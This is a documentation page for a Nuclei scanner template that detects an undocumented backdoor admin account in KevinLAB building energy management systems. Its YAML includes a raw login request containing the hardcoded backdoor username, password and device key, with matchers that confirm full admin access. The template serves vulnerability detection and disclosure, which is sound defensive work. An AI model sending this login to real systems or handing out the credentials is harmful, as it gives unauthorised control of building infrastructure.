KevinLAB BEMS (Building Energy Management System) - Backdoor Detection
ID: kevinlab-bems-backdoor
Severity: critical
Author: gy741
Tags: kevinlab,backdoor
Description
Section titled “Description”KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.
YAML Source
Section titled “YAML Source”id: kevinlab-bems-backdoor
info: name: KevinLAB BEMS (Building Energy Management System) - Backdoor Detection author: gy741 severity: critical description: KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php metadata: max-request: 1 tags: kevinlab,backdoor
http: - raw: - | POST /http/index.php HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requester=login&request=login¶ms=%5B%7B%22name%22%3A%22input_id%22%2C%22value%22%3A%22kevinlab%22%7D%2C%7B%22name%22%3A%22input_passwd%22%2C%22value%22%3A%22kevin003%22%7D%2C%7B%22name%22%3A%22device_key%22%2C%22value%22%3A%22a2fe6b53-e09d-46df-8c9a-e666430e163e%22%7D%2C%7B%22name%22%3A%22auto_login%22%2C%22value%22%3Afalse%7D%2C%7B%22name%22%3A%22login_key%22%2C%22value%22%3A%22%22%7D%5D
matchers-condition: and matchers: - type: regex part: body regex: - 'data":"[A-Za-z0-9-]+' - 'login_key":"[A-Za-z0-9-]+' condition: or
- type: word part: body words: - '"result":true'
- type: status status: - 200# digest: 4b0a00483046022100dd0fa9774f007bb5846a1e0f984883634c88e4373776ee7ec7d913a72141f9ae022100e9bac3d9598d7bfedd9f7ef833a7bdce43028a988b1877bcdef547098369ba65:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/backdoor/kevinlab-bems-backdoor.yaml"